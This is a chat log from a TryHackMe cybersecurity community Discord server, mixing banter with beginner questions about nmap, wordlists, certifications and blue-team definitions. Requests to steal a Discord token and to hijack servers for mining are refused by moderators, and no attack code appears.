general

[silver sky]

Boing

[rapid merlin]

Not more maths

hello guys, its a hacking server,

?

[rapid merlin]

Yes?

“Tryhackme”

xd

[uncut cove]

tries to hack him

[sage cedar]

is it god hackin or bad hacking?

good*

[sick lance]

We're ethical hackers in here.

[buoyant tree]

eh maths is a big education industry

[sage cedar]

AIIT

[rapid merlin]

Does anyone know how to steal a discord token, or some other way besides sending the victim a file and having him download it?

[buoyant tree]

@sick lance

knows

[sick lance]

Why on earth would you like to do something illegal? 👀

[sage cedar]

lol

[rapid merlin]

I really need to take revenge on one vile person

[uncut cove]

to go to jail of course

[sick lance]

Two wrongs don't make a right my friend.

[rapid merlin]

he is engaged in discrimination and provocation of people on the server

[sand trench]

only good ethical hacking

[rapid merlin]

Report him?

[sick lance]

Then you report it to your local authorities and Discord support.

[sand trench]

and this discord is focused about the website https://tryhackme.com

[rapid merlin]

Boing

[sick lance]

Vigilante hacking isn't legal, nor is welcome in this server.

[rapid merlin]

Well, I really need to get its token, I looked everything up on github

[thorny walrus]

You really dont need to get it

you want it

what you really need is a lesson on ethics

[sick lance]

Are you sure this is the course of action you wish to take?

[rapid merlin]

what is your server for then?

what's up guys?

[thorny walrus]

ethical hacking

[rapid merlin]

its for cyber security not hacking ppl

[rapid merlin]

yeah

[sand trench]

go go power scrubz

[rapid merlin]

oh ok, sry

nah wait

[rapid merlin]

ur welcome

I'll go look for the hacker discord

gl guys

txh

thx

[rapid merlin]

theres no hackers discord

ur just wasting ur time

[thorny walrus]

Oh no someone is provoking me I must commit the illegal 😭

[rapid merlin]

i was that dumb but now nah

[uncut cove]

only minecraft

[thorny walrus]

I got mad and that was about how far it went

[sick lance]

Ok guys, it's being dealt with. 🙂

[sand trench]

let the moderators/scrubz handle it

[slate forum]

Take it easy

[rapid merlin]

just some scriptkiddos

[sick lance]

Yup, still feels strange to me too, dw, lol

[thorny walrus]

Only real pros use wurst client

[sand trench]

you are doing fine scrubz

[slate forum]

I like to rest my eyes

I am so tired

[rapid merlin]

go sleep

simple

[slate forum]

I guess that's the solution 🙏

[rapid merlin]

best one ever

[slate forum]

Yes I hoped i could study a little

Thanks

[rapid merlin]

np

anyone wants any help/

?

[sand trench]

yes

how to port colourscheme from .Xresources to all apps supported by other colour schemes???

[crude stump]

According to my calculations

You gotta

Then

Do that

Finally do this

[grizzled wing]

i enjoy Kali's new wallpapers

[crude stump]

I can’t use any of there wall papers

Every time I try it fails

[grizzled wing]

bummer

[primal python]

Hi

[grizzled wing]

sample of 1 of each, try everything

[crude stump]

I have

I would show the error but I’m not at my computer at the moment

[grizzled wing]

haha, i was just being funny with username

[crude stump]

Oh lmao

[grizzled wing]

waiting for Kali to finish upgrading

[sand trench]

@sick lance

[grizzled wing]

hi shadow

[sand trench]

ello veggies

[sick lance]

If you wish to post jobs on TryHackMe, can you please ping @umbral bay for the process please. 🙂

[grizzled wing]

scrubz is blue, cool

[sick lance]

There is steps to take to be allowed to post to the #jobs-board

[sick lance]

https://tenor.com/view/blue-da-ba-dee-90s-music-dance-im-blue-gif-20068334

[grizzled wing]

haha

[sick lance]

That song will now be stuck in your head all day.

You're welcome!

[grizzled wing]

👂 🪱

[sand trench]

*reminds shadow of the tumblr post about a race of telepathic aliens that loves having humans around as you can ask them to think about a popular song and due to ear worms the humans will "play" that song for the aliens

[grizzled wing]

what benefit is there for the aliens to have human play a specific song?

social engineering example?

[sand trench]

when bored and wanna listen to music make human think of song and just listen to their thoughts

[grizzled wing]

okay

[buoyant tree]

aio bored

somebody recommend something fun to do

[grizzled wing]

make some hashes then hash or john crack them

[sick lance]

The new room.

[grizzled wing]

find a password in rockyou

[buoyant tree]

thats a heater

[sand trench]

try to memorise all the passwords in order from rockyou.txt

[buoyant tree]

there's a new room today?

[grizzled wing]

hacksmarter room, medium level

[buoyant tree]

hmm

Its friday already, didn't realize

[loud marlin]

https://tenor.com/view/speechless-no-comment-okay-jason-bateman-gif-13712743

[sand trench]

yeah probably more sane to do this new room

[grizzled wing]

yesterday was Pi day

[sand trench]

it is easy.. it is just 14 million lines or so

[past sparrow]

shuffle the list and re-arrange them manually

[loud marlin]

if you cat them will be faster to list them and learn

[grizzled wing]

another option is to find the emails in rockyou, there are a few

[past sparrow]

back as it was

[sand trench]

that re-arrangement game would be like a puzzle with 14.3 million pieces

fun

[verbal musk]

does any anyone have any advice for me

[sick lance]

Download Malware-bytes.

[past sparrow]

plenty to do for hours, a lot of them, you won't be bored!

[sick lance]

Run a scan, see what it picks up.

[past sparrow]

Run defender scan

[verbal musk]

yeah I did that also used avast

[sick lance]

So why do you think you were hacked?

[verbal musk]

I'm just worried about my information being out there

[verbal musk]

I downloaded malware off this guy claiming to want people to test out this game

I know im pretty not smart

[sick lance]

I wouldn't say that.

[simple valve]

I get those shady discord DMs all the time

[sick lance]

I've seen people who are knowledgable in this field get caught out.

[simple valve]

Almost downloaded one too 💀

[chilly veldt]

Morning

[past sparrow]

Morning

[devout palm]

What is love

[verbal musk]

don't hurt me

[sick lance]

https://tenor.com/view/what-is-love-gif-22200319

[past sparrow]

Makes me actually wonder how it's socially perceived, are knowledgeable people more likely or less likely to notify in a company environment that they are infected, or do they try to hide their stupid activity more because of embarrassment

[verbal musk]

idk is there anything I can do once they get all my personal info??

[past sparrow]

Well - what can they do with your personal info?

[whole moss]

Also what info you got? Bank, creditcard? If those then call the bank asap

[sick lance]

Really, if they already have info, nothing.

However it's hard to say what the malware actually done without diving in to it.

[sand trench]

*don't answer that shadow don't answer that shadow don't answer that shadow don't answer that shadow don't answer that shadow *

[verbal musk]

thank god I don't have any of that on my computer

[twin ridge]

Gave +1 Rep to @whole moss (current: #475 - 9)

[past sparrow]

I mean its very region dependent and also what information actually was aquired, depending on severity, a lot of bad could be done

But also could be that nothing could be done

[verbal musk]

I did have tax information saved on my computer

I'm hoping they didn't get to it tho

[past sparrow]

Did you run the malware with administrator privileges? Was the software actively running that contained tax information?

[verbal musk]

no

the tax file was a pdf

I think they only got my password info but alot of it is outdated

[past sparrow]

Oh. do you still have this software somewhere available that they sent you?

[verbal musk]

yea they linked me a site to it

Its in dms

I blocked them tho

[sick lance]

Probably best deleting the message so you don't click it again.

[verbal musk]

definitely

[past sparrow]

Can you send me the link in defanged form in DMs?

[sick lance]

Let's not ask members for malware.

[past sparrow]

Alright

Sorry bro, can't help you figure out what it does

[verbal musk]

the site itself seemed harmless

it was the downlaod on that site which was the malware lol

but yeah its cool I feel better

I don't think they hit anything that devestating

[past sparrow]

Best you can do now is report their domain for malicious activity, threat intelligence feeds will pick it up and may protect someone

[verbal musk]

how do I do that?

like on discord

oh the site link?

[past sparrow]

Yeah, the website you downloaded it from

[verbal musk]

thanks for the advice everyone here seems pretty chill

[sick lance]

Which AV do you use?

[verbal musk]

Its a drawing i made

[sick lance]

AV = Anti-Virus

[verbal musk]

oh lmao

windows defender and malewarebytes

[sick lance]

Good choice, do you have Malware-bytes premuim?

[verbal musk]

nope

[sick lance]

Ah.

Free version is just as good.

[sand trench]

has to rely on clamav as can't find any other good av for linux

[molten sky]

clam is actually pretty solid tho

i use it to scan images from unkown machines

[crude stump]

question for the snort room it says to run a traffic generator shell. Do i just copy and paste the script into my terminal?

[sick lance]

#room-help please 🙂

[crude stump]

oh yeah my b

[hasty palm]

altho complicated to me atm snort seems to be good stuff

[past sparrow]

does its job ...

[past sparrow]

it definitely can be

[shut hawk]

Woah. This is incredible, Discord.

[hasty palm]

https://tenor.com/view/reaction-my-eyes-cant-unsee-burn-gif-7225082

white

[sick lance]

That looks quite good

[shut hawk]

I can't even change it!

I'm in Dark mode

[molten sky]

https://tenor.com/view/cat-blind-flashbang-light-mode-gif-21281004

[sick lance]

Although, I like the tile now,

[hasty palm]

😄

[sand trench]

shadow annoyed that discord does not support colourschemes like dracula or catppuccin or nord or rosepine

[wild rose]

psychopaths everywhere you go

[molten sky]

https://tenor.com/view/lighttheme-gif-10344166219647164669

[sick lance]

Let's not do a Muiri

[molten sky]

why are you guys like this

[sick lance]

I like chaos.

[molten sky]

fair i guess

[rapid merlin]

is that new or smth?

[shut hawk]

Yeah, Right click a user -> Mod view

cc @mossy river cool new discord feature

[past sparrow]

At first it was just to get reaction out of people, never fails, but now, I have started to like it

[molten sky]

it's kinda funny tbh

[sick lance]

Oh mate

[molten sky]

10 years ago everything was like that

[sick lance]

I can do that!

Lol

[past sparrow]

Yeah, I enjoyed the 10 years ago thing

[sick lance]

Can everybody? lol

[past sparrow]

now all my applications are bright / light mode

even my VS code is in light mode

[molten sky]

I will say --- it depends on where I am

The backdrop being bright or dark

[sick lance]

Can you do it?

Or only mods?

[molten sky]

that's what decides it

is my monitor against a dark wall? dark mode

[rapid merlin]

Wow that seems nice, you can see what role granted what permission too

[shut hawk]

Only mod, Mod view

[molten sky]

is it in an office with bright lights behind it? light mode

[rapid merlin]

xd

[shut hawk]

Yeah, a lot of information summed up nicely

[molten sky]

minimize contrast between the screen and backdrop

[past sparrow]

I am also that kind of guy that has always lights on when behind computer, I don't like to sit in the darkness

[hasty palm]

late night white sometimes hurts eyes, so dark mode in my case is easier to work with.

[molten sky]

in the room yes
but i mean behind the screen

[sick lance]

I can't do it to myself.

[molten sky]

otherwise the contrast gets old

[rapid merlin]

duh

xd

[past sparrow]

ah yeah, my walls are light

[hasty palm]

this community is quite nice

[rapid merlin]

btw Scrubz you cant do it for any role higher than yours right?

[past sparrow]

I find dark to exhaust my eyes faster

[sick lance]

I can do everyone, except me.

[rapid merlin]

oh wait thats strange

[crude stump]

do me

[sick lance]

Uh...

[crude stump]

pause

[rapid merlin]

it should be the same as editing roles, only the roles below your highest role. (if granted permission)

[keen osprey]

hello, how do i start my cyber attack

[crude stump]

wow

[keen osprey]

i want to be a good black hat

[crude stump]

slow down there

scrubs

[molten sky]

lmao

[rapid merlin]

Do you know what that is?

[crude stump]

its your time to shine baby

[rapid merlin]

Dont you mean white hat?

[past sparrow]

What is a good black hat?

[sick lance]

You know that's illegal? right?

Right?

[molten sky]

https://tenor.com/view/shine-diamond-shine-bright-like-a-diamond-gif-12830566

[crude stump]

ah thank you

[twin ridge]

Gave +1 Rep to @sick lance (current: #2 - 2059)

[keen osprey]

yes

[simple valve]

Nike has good black hats

[crude stump]

5k aint bad

[past sparrow]

🤔

[past sparrow]

I don't really follow the brands

[rapid merlin]

I like the tommy hilfiger ones

[past sparrow]

I wear what fits

[hasty palm]

i want to be good at defense ...blue ?

[simple valve]

Tommy hilfiger is nice too, their minimalistic styles are amazing

[crude stump]

that is blue yes

[rapid merlin]

What do you mean with yes?

[molten sky]

not everything is red and blue y'all

[past sparrow]

best defense is of......

[keen osprey]

well manner black hat, i mean he can do what he want

[wild rose]

https://tenor.com/view/mesh-cap-gif-18676730

[molten sky]

there are things that are defensive that aren't blue

[past sparrow]

good yellow team

good green team

[simple valve]

You mean like penetration testing

[molten sky]

if you're adjusting firewall rules all day that's defensive but it's not blue teaming

[crude stump]

personally im more of a maroon hat typa guy

[past sparrow]

Sorry mate, I don't think I can help you, I just don't know what you mean

[boreal gull]

i think it kinda depends on what time period of THM

[sick lance]

@keen osprey this a community for ethical hacking, we don't teach any black hat material

[boreal gull]

when there was like 5 people, yes

[molten sky]

🐝

[boreal gull]

🐝

[rapid merlin]

🐝

[devout palm]

🐝

[keen osprey]

yeah i want to be a good ethical hacking

sometimes white hat and black hat optionally attack and defends

[crude stump]

then let me tell you somthing. THM is offering a once in a life time oportunity to learn ethical hacking

[rapid merlin]

You should read this: https://www.kaspersky.com/resource-center/definitions/hacker-hat-types

yo

[crude stump]

sup

[rapid merlin]

how do i join a machine if it doesnt give me the user and pass

im

[past sparrow]

I am not sure that is a very good example

[sick lance]

#room-help Please.

[boreal gull]

blackhat means illegal, not that you attack legally!

White hat means you can legally attack and sometimes defend (although blue hat)

[past sparrow]

Depends what kind of firewall rules are you adjusting, ingress, egress?

[rapid merlin]

mb

[crude stump]

oh wait nvm

[boreal gull]

my entire job is adjusting firewall rules 💀

[crude stump]

go to room help

[boreal gull]

its not meant to be

[molten sky]

not really. blue team is defensive but defensive isn't always blue team

[boreal gull]

but it is

that and DNS

[molten sky]

a square is a rectangle but a rectangle isn't always a square

[devout palm]

Is it always DNS?

[molten sky]

it's ALWAYS dns

[simple valve]

exact same question

[keen osprey]

red team always plant a bomb

[past sparrow]

No I mean, if you are interactive with firewalls it could as well be part of blue team obligations, defensive can also be compliance, there you can't convince anyone that this is blue team

[rapid merlin]

A bomb?

[molten sky]

Unless you are in a role that actively engages with threats then you aren't blue team

[rapid merlin]

Were not playing call of duty here mate

[molten sky]

just like how bug bounty hunting is not red team

[keen osprey]

sorry

[simple valve]

Red team operations should change their name

[molten sky]

it's become a huge misnomer

[whole moss]

Printing this for my network engineer friend

[past sparrow]

If your job is to feed IOCs into firewall rules because of bad maintenance then you are doing the grunt blue teaming work

[rapid merlin]

And i should start with my school assignment (must be handed in in an hour)

[simple valve]

Damn

[keen osprey]

many black hat is more skilled and go jail but the idea was while he got a free ticket to become cybersecurity consultant after served time in jail

[molten sky]

blue team is the direct counterpart to red -- if you're countering a red team, you're a blue team. if you're feeding in IOCs from a third party provider, that's not blue team. if you're feeding in IOCs that you found from your red team, then you can be blue team

[crude stump]

are you thinking of kevin mitnick?

[wild rose]

didn't he pass this year?

[crude stump]

yeah

[wild rose]

rip

[past sparrow]

Are you saying that you are only doing blue team if you are doing active incident response?

[crude stump]

you dont need to go to jail to become a cybersecurity consultant

[molten sky]

blue team is the direct counter part to a red team --- if you have no red team, then you're just a threat hunter or an incident response team or whathaveyou

[devout palm]

And doing bad things doesn't make you more skilled

[simple valve]

I think adversary threat emulation is a good alternative name to red teaming

[past sparrow]

But threat hunters, incident response teams are considered blue teams

[molten sky]

red teaming is a fine name imo (and very conventional for other industries too), but a name like that would be much more likely to retain it's meaning over time (unlike red team)

[lone thistle]

ngl, I enjoy a regular, legal salary, without having to look over my shoulder, and jail/prison does not sound fun

[molten sky]

they aren't one tho. it's a misnomer.

just like how companies call bug hunting "penetration testing"

just cause they like the name doesn't mean it's correct

[sick lance]

Probably best changing to topic,

Serving jail time isn't worth it.

[crude stump]

mans gonna come back to a hundred pings lmao

[molten sky]

i gots to goes

[crude stump]

any of yall had boba before

[molten sky]

don't get thrown in jail while i'm gone

or at least liveleak it

[thorny walrus]

😋

[crude stump]

made my own but i undercooked em. now there rock hard in the middle lol

[thorny walrus]

damn

[crude stump]

like eating a rock

[thorny walrus]

i love eating rocks

[crude stump]

but with a squishy exterior

[past sparrow]

Okay yeah, you are right, looked up the definition @molten sky Apparently term blue team only applies to a mock situations

where there is active engagement

[whole moss]

Anyone into sff machine? I am planning on building one and I am thinking of going with fractal design terra but still open to other cases

[lone thistle]

idk where that definition is from but I'd very heavily disagree.

Blue teaming encompases a variety of roles, security engineering, SOC analysts, IR, etc. You are as proactive as you are reactive. Any role that is implementing security measures, monitoring, collecting threat intelligence, etc, is safe to consider as "blue teaming"

[past sparrow]

I got it from NIST

[lone thistle]

could you link? 🙂

[crude stump]

whats the difference between icmp and http

[lone thistle]

i am surprised NIST are putting it like that unless there's some context that i'm missing

[past sparrow]

https://www.cnss.gov/CNSS/openDoc.cfm?a=X5d3uc6qiR33Omw%2B5hiKrQ%3D%3D&b=61A89B46EE756F9CA49A5E54C45567E4EB3061AA90649BD6D6BD6C6ECEED262185F3A1E524CF75EF4F46D8F86FFF1C46

ctrl + f, blue team

[keen osprey]

icmp is ping http is low standard web ?

[past sparrow]

Or you can go there from here https://csrc.nist.gov/glossary/term/blue_team

[devout palm]

Those two are very different

[lone thistle]

ah. I think i'm geoblocked

[crude stump]

are you fimiliar with snort?

[rapid merlin]

The group responsible for defending an enterprise's use of information systems by maintaining its security posture against a group of mock attackers (i.e., the Red Team). Typically the Blue Team and its supporters must defend against real or simulated attacks 1) over a significant period of time, 2) in a representative operational context (e.g., as part of an operational exercise), and 3) according to rules established and monitored with the help of a neutral group refereeing the simulation or exercise (i.e., the White Team).

CSRC Content Editor. (n.d.). blue team - Glossary | CSRC. https://csrc.nist.gov/glossary/term/blue_team

[hasty palm]

all kind of red flags puped up when i kliked that link

[devout palm]

Nope

[rapid merlin]

uh?

[past sparrow]

And I would otherwise heavily agree with you, but as I went just to hunt for confirmation, I stumbled on it

[sick lance]

Purple teaming if you mix it with an active red team engagement

[mossy river]

You have to download the certificate

https://www.cnss.gov/cnss/error_page.cfm?EC=09

[keen osprey]

is there a standard iq for become good ethical hacker?

[mossy river]

no

[devout palm]

I mean, why does it matter? lol. Call it whatever you want ~ This is for blue team discussion

[mossy river]

IQ does not equate to intelligence

[lone thistle]

Ahh that is odd. Yeah I do see their definition. For the first time in my life, I disagree with NIST haha. IDK if the definition is old, or is specifically written to have some nuance, but blue teaming isn't just responding to mock incidents / responding to red team efforts. Sure, that's definitely an element, but again, there are roles where you are proactive - monitoring for attacks, incidents, etc, that may be from a legitimate threat and not just a mock scenario

[past sparrow]

Yeah, honestly, NIST should update their definitions

I would 100% put IR into Blue Teaming, not just "IR"

along with other supportive roles

[floral wing]

At the end, they do mention a blue team can exist without a red team so idk y they worded like that in the beginning passage

[past sparrow]

I mean it makes sense they want to call it based on army terminology, because out in combat you don't also call enemy a red team

[lone thistle]

yup. Blue teaming has definitely expanded to be a bit more of an umbrella term. Maybe the definiiton there is thinking of it "traditionally", but absolutely a modern definition would include the above roles/responsibilities

[devout palm]

Agree

[past sparrow]

that's where the terminology derives from but in IT it has already become de facto terms for goodies and baddies

[hasty palm]

ai version of blue hat

[whole yew]

IMO the color teams are 100% marketing bullshit and don't really apply to sane orgs

[devout palm]

Ya call us baddies, huh?

[mossy river]

fr

[lone thistle]

oh yeah 10000%

[mossy river]

Similar to the hats

[rapid merlin]

Yeah, people get confused with that

[whole yew]

It's useful way to explain stuff to people without the understanding of what the various roles in cybersecurity are

[past sparrow]

I promise both goodies

[whole yew]

but other than that.... it has no meaning within the industry

[past sparrow]

Other than narrowing down what you do without wanting to explain

[floral wing]

these terms r just used in the learning phase ig

[whole yew]

How does that do that, when someone doesn't understand enterprise security

it's just another flavor jargon term

[past sparrow]

oh in that case you just say "computer policeman"

convinces my parents

[hasty palm]

im gonna make some fried eggs

[whole yew]

but that's not what i do with my security engineer role

"computer policeman" is possibly even more useless unless you actually work as law enforcement and specialize in cybercrime

[shut hawk]

funniest strat ever

stun+shotgun

[past sparrow]

I guess it also depends how much they care about the details or is it just some general overview

[lone thistle]

yeah, I mean, in the industry you would expect someone to know what you do based on your role. Oh I'm a soc analyst, etc.

For the non-technical or as a general seperatation, the blue team is like a "oh I stop hackers", red team "I pretend to be a hacker to help organisations". Etc. It's very shallow I think intentionally

[whole yew]

I just tell people I work in IT

Because unless they also work in IT, whatever else I say is meaningless to them

[past sparrow]

I have learnt that saying it can be a headache because IT means coming to you with problems like "can you make me a web page"

[whole yew]

I certainly can help with that

[wild rose]

you know I just work for one of those ABC agencies. nothing too important.

[whole yew]

my consulting rate is $350/hr, $250/hr if we're friends

[lone thistle]

will I? no. LOL

[whole yew]

that usually puts a stop to that

pay my rate, i don't care if you want me to sweep the floors

i've definitely had consulting customers burn a significant amount of hours have me babysitting an empty cage instead of deploying products

[past sparrow]

maybe better to say "computer security guard" then

[shut hawk]

juun, played season 2 of the finals?

[devout palm]

Better to not talk

[whole yew]

oh, the password security discussions i have with my family

[clear jackal]

"I work with computers"

[whole yew]

"don't use the same email/pass everywhere" "but then i have to remember things!"

[umbral bay]

Keeping the Internet safe.™️

[clear jackal]

And if anyone asks to help me fix stuff, "oh, it's my job to break them"

[devout palm]

"So you are a bad hacker?"

"Don't hack me plz"

[past sparrow]

so you want to go to jail?

[simple valve]

I introduced them to password managers, particularly, Apple’s one.

[whole yew]

Yeah, I have done that too. "But now I have to remember another password"

[simple valve]

Hahahahaha can’t argue with that

[umbral bay]

Only if my opponent has all the hotels in Monopoly.

[devout palm]

Lol

[past sparrow]

At this point its the cheapest room to sleep in

[wild rose]

Monopoly... so you have choosen death

[simple valve]

On one hand, I’d like to ask how does one become an external IT consultant for others without being tied up to a company?

[simple valve]

Helo

[devout palm]

"Can you hack x's instagram?"

[fresh cobalt]

When a room is in network state : resetting , how long does it take roughly ?

[keen osprey]

is there a way of ethical hacking to manipulate / hack server so they can mining on it

[umbral bay]

About a minute.

[simple valve]

Hi @umbral bay not sure if this is an appropriate question but what certs does THM recognize in the discord?

[devout palm]

Is there a way to ethically legally rob a house?

[fresh cobalt]

Ok I’m still waiting

[sick lance]

All you rmessages tonight have not really been really ethical my friend... 👀

Ok, not all, most.

[umbral bay]

Which one are you looking for?

[sick lance]

If you're hacking something, so you can run a mining application on it.

Does that seem ethical?

[devout palm]

Shh

[crude stump]

[keen osprey]

yes, i dont rob the server just as a guest

[simple valve]

This one https://www.apisecuniversity.com/courses/api-security-certified-professional-exam

Idk how to send without embeds on mobile

[sick lance]

But you're planning on installing something without a users consent and/or knowledge, are you familiar with the "Computer Misuse Act" ?

[devout palm]

<link>

[keen osprey]

no my friend im 16, still looking for career path

[umbral bay]

We don't have that one.

[coarse moth]

@mossy river

[sick lance]

You won't get very far with the current attitude...

[crude stump]

Scrubz is on it

[simple valve]

😭, what do we have 👀

[umbral bay]

A crazy amount actually, the usual ones.

[simple valve]

Planning to take only certs that THM has roles in kek

[past sparrow]

Is there any GIAC ones?

[past sparrow]

Oh, can I get GDAT on my profile?

[crude stump]

Idk can you

[past sparrow]

Asking the mods/admins

[crude stump]

Joke

Sorry

[sick lance]

I can't assign it yet, you'll need to wait for a mod to come, or tim if he ain't busy.

[simple valve]

Are SANS just courses and GIAC are their relevant certs?

[past sparrow]

Yes

[simple valve]

I always thought they were separate bodies

[sick lance]

I think you should have a read over the #rules again, number 4 to be specific.

[simple valve]

Like GIAC only prefers SANS courses but you can learn from other stuff

[keen osprey]

ok 🙏 sorry sir

[past sparrow]

Nope, GIAC is SANS, you can do the exam without their materials as well but it could be hard

[coarse moth]

next time you'll be banned

[sick lance]

👀 mini-modding are we?

[past sparrow]

He will challenge you to a duel soon for a role

be careful

[sick lance]

mini-modding is not welcome, and it can make situations harder to moderate. 🙂

Please stop.

[coarse moth]

What is the cloud training section about? Is it included with the subscription?

[sick lance]

It Is not, due to the expense it's a separate purchase.

[fresh cobalt]

Something should be wrong then , still resetting. I’ll come back later

[lone thistle]

can you tell me an IP address of a machine that you see on the network map in the room? I can look on the backend to see the actual state of the machines

[past sparrow]

@lone thistle Hey, can I get GDAT role on my profile?

[fresh cobalt]

The DC has 10.200.64.101

[lone thistle]

I’m not a moderator alas, you’ll need to wait until one pops in

[lone thistle]

Cool cool. I’ll have a look

[fresh cobalt]

Thanks

[twin ridge]

Gave +1 Rep to @lone thistle (current: #7 - 827)

[crude stump]

i cant with this

[past sparrow]

Oh okay, I will keep waiting till someone pops in then, thanks anyway

[lone thistle]

Yup:) the people on the right at the top of the server list in green are able to do it 👍🏼

They swing by fairly often so

[raven moth]

hello

i know it's a question that has already been made but when is dark theme coming?

[sand trench]

2 months TradeMark

[lone thistle]

O.o. I can't even see that machine as existing, neither does anything else on x.64.x. How odd.

Can you leave the room by clicking on the grey cog, leave room, and re-join it after about 10 minutes?

[raven moth]

what?

[sand trench]

obscure reference but basically the same as saying
SOON

[raven moth]

mhmh i see, thanks

[umbral bay]

Done. 🥳

[past sparrow]

Cheers!

[fresh cobalt]

Ok I’ll do that

[serene wren]

read books, have notes basically and note cards. Learning from objective based such as certifications and gamified things like Python Scripting from HackerRank. Most books have projects and those are the best ones but anyways just keep looking to obtain things and nonstop grind. Of course your not going to remember everything if your in multiple subjects at once, hence why some people get lower grades than others.

Differnet subjects have differnet techniques of learning, coding is obviously just reading and have logical thinking outside of having calculus in your arsenal.

[rapid merlin]

anyone here taking the evilginx course, please i'm having issues with gmail

[shut hawk]

Tried asking in their discord server?

• Flashcards
• Paraphrasing
• Teaching others (or even just speaking out loud)
• Applying what you learnt to a real scenario

[blazing granite]

apparently 😂 I have an issue with spotify customer services can I ask here 😉 😛

[crude stump]

My speaker is broken. Anyone know the fix

[fresh cobalt]

Same , sometimes I don’t remember when I put my notes 😉

[chilly veldt]

Just be relaxing at work trying to get through the night

[grizzled crystal]

Honestly the more you use what you study the more likely you are to remember it. I am very bad at memory stuff, so I prefer having a good reference that I can look at whenever I need a refresher

Figure out what works for you and do that

I like notes do I do notes

[boreal scarab]

@heady nova https://youtube.com/shorts/Qd7naGvHbbE?si=QnsQ94_xG1noqHxW

[loud marlin]

i think that madam webb is my no1 dumb ass movie ever

[ashen wadi]

The Champ Has A Name, And His Name Is Charles Oliveira!

https://tenor.com/view/oliveira-charles-oliveira-victory-gif-10892691783231888872

[grizzled crystal]

Clearly you have not watched star trek into darkness

I really want to watch madam webb, seems fun in a hatewatch sort of way

[loud marlin]

did... not impressed....

madam webb is movie with nothing of nothing. if i stare intro wall for 2h ill be more mussed =/.

[fast inlet]

any of you guys still use IRC channels? :P

[sand trench]

that is how you start halucinating...

[loud marlin]

even that is more fun =/

[sand trench]

depending on a few factors yeah it can be fun

[loud marlin]

true. but movie is 1st class shit... just shit... no action, nothing that will make it worth of watching

[fast inlet]

is it normal that an nmap scan with all ports ( -p 1-65535 -T4 -A -v ) takes like 3 hours to complete?

[loud marlin]

what command exactly?

[fast inlet]

what i posted there

nmap -p 1-65535 -T4 -A -v [ip]

[loud marlin]

on thm ?

[fast inlet]

i mean it found 2 open ports right away but then stuck on SYN Stealth Scan Timing for 1+ hour

45% done after 1 hour and half or so

i guess it's because all ports

[loud marlin]

there is no scan on thm that need that amount of time. and not sure to what room, but no need to run that long

[whole yew]

think about how much time it takes to get a response from an open port vs a closed/filtered port. What's the bottleneck? Now multiple that by the number of closed ports.

[cerulean nest]

anyone know about format strings and how to exploit em?

shoot me a dm

im goin braindead

[fast inlet]

actually i have no clue there lol, does it take much more time to get a response from a close/filtered port? Thought it'd be as fast

[cerulean nest]

no it takes the same amount of time if not 0.1s more

also how tf do yall have different role colord

[whole yew]

don't give bad information.

[cerulean nest]

colors

[cerulean nest]

works for me

when i scan things

[whole yew]

Timeout is configurable, default timeout is more than you think. It's not 100ms.

[cerulean nest]

for me it takes like less than 1s

[loud marlin]

if port is open then you prob get "instant" respond. for other state of ports you prob need more time. depend of how is set on system

and nmap by default, don't scan UDP ports. if you scan them then it can take ages

[fast inlet]

then yeah i suppose scanning all 65k takes ages

[cerulean nest]

why tf would u do that

[fast inlet]

with default settings anyway

[whole yew]

If you want an exhaustive check, that's what you have to do. Sometimes CTFs (and sometimes admins) will put services on high unprivileged ports just to make things harder to randomly discover.

[cerulean nest]

bruh

[simple valve]

security through obscurity

if it works, it works

[whole yew]

Common offsets are multiple of 8k or 10k, but there is no 'best practice' or RFC that makes recommendations

[cerulean nest]

fr if i wanted a random port

96837

or 69696

lmao

[simple valve]

nah that wont work

bc of port boundary

[whole yew]

Neither of those ports are valid

[cerulean nest]

works with some applications

[whole yew]

65535 is the highest possible port value

[cerulean nest]

no u can have higher

[loud marlin]

nop

[cerulean nest]

autopsy binds to 99999

[whole yew]

Please link me the RFC

[fast inlet]

how would i change the settings to make an all-ports scan go faster, you'd say?

[loud marlin]

first think, do you need scann all of them?

[whole yew]

You should recheck that. You are wrong.

[whole yew]

I wouldn't scan all ports until I'd exhausted other options and I was sure there was something I'm not finding. Top ports, increase concurrency, decrease timeout for TCP responses, more aggressive scan profile are all things you can try. Which room is this for?

[loud marlin]

fjodor will go crazy if that is case 🙂

[cerulean nest]

sudo apt install autopsy

then do autopsy

and see what happens

[whole yew]

Why would I install it? I just actually checked the official documentation.

[cerulean nest]

bro im literally using it right now im on port 9999 localhost

[loud marlin]

9999 is not 99999

[whole yew]

Yea, 9999, not 99999 as you originally said. 9999 is an allowed port value, 99999 is not.

[versed prairie]

Does anyone have good wordlist recommandations?

[cerulean nest]

oh shi im dumb lmao

[whole yew]

For a specific room, @versed prairie or just in general?

[whole yew]

It's ok, we all start somewhere. Don't worry about it, just accept the lesson and keep learning 🙂

[versed prairie]

For the THM Rooms in general

[whole yew]

Most of the rooms that require a wordlist will tell you which one to use

[versed prairie]

But is there a pack with all of them in it? 😄

[simple valve]

Seclists on Github

[whole yew]

They will also tell where to find the wordlist. Sometimes it's github, sometimes it's a download in the room task.

[versed prairie]

ok thx 🙂

[twin ridge]

Gave +1 Rep to @whole yew (current: #10 - 736)

[crude stump]

ugh i forgot who it was but someone recomended a video that explains ports

forgot who it was sadly

[molten sky]

i remember this conversation

wasn't me who sent the vid tho

[crude stump]

ikr

[molten sky]

very situational too

[crude stump]

i remember it off the top of my head

[molten sky]

like i have wordlists half a TB in size that I multiply with permutations

[crude stump]

maybe they will speak and i will remember them

[molten sky]

you're not gonna want that for most things

not gonna use rockyou for directory fuzzing

many people make their own as well for certain targets

was it this one @crude stump

[crude stump]

damn your good

how did you find it so quick

[molten sky]

nothing special lol searched for "ports" in messages sent by you than just scrolled down a bit

[crude stump]

😂

i see

snort is always watching

[molten sky]

🐽

[clear jackal]

I haven't been able to sneeze for the past 3 hours

It's really annoying

[crude stump]

hm

why do you want to sneeze?

[clear jackal]

My body does

It gets started and then just stops right before I actually sneeze

[crude stump]

Damn

[kindred bear]

sniff pepper to induce a sneeze?

[past sparrow]

watch clips of someone yawning to induce yawn

[heady nova]

That's what you call a great start of a birthday

But you revealed our secret, @boreal scarab .... Sending Mauses to your haus

[sand trench]

meep meep this a comfy bed for sleep sloops to the beep boops while the moop moops

[molten sky]

english only!

bad!

[heady nova]

Oh hey shadow, how's the day been?

[sand trench]

ZzzzZZzzZzzzz

[heady nova]

Shush lemme flex my deutsch

[heady nova]

That sounds great!

How many energy drinks in?

[sand trench]

to answer honestly just before shuting down computer... friday was good.. watched a lot of development for neovim plugins and update shadows config using the modular kickstart.nvim
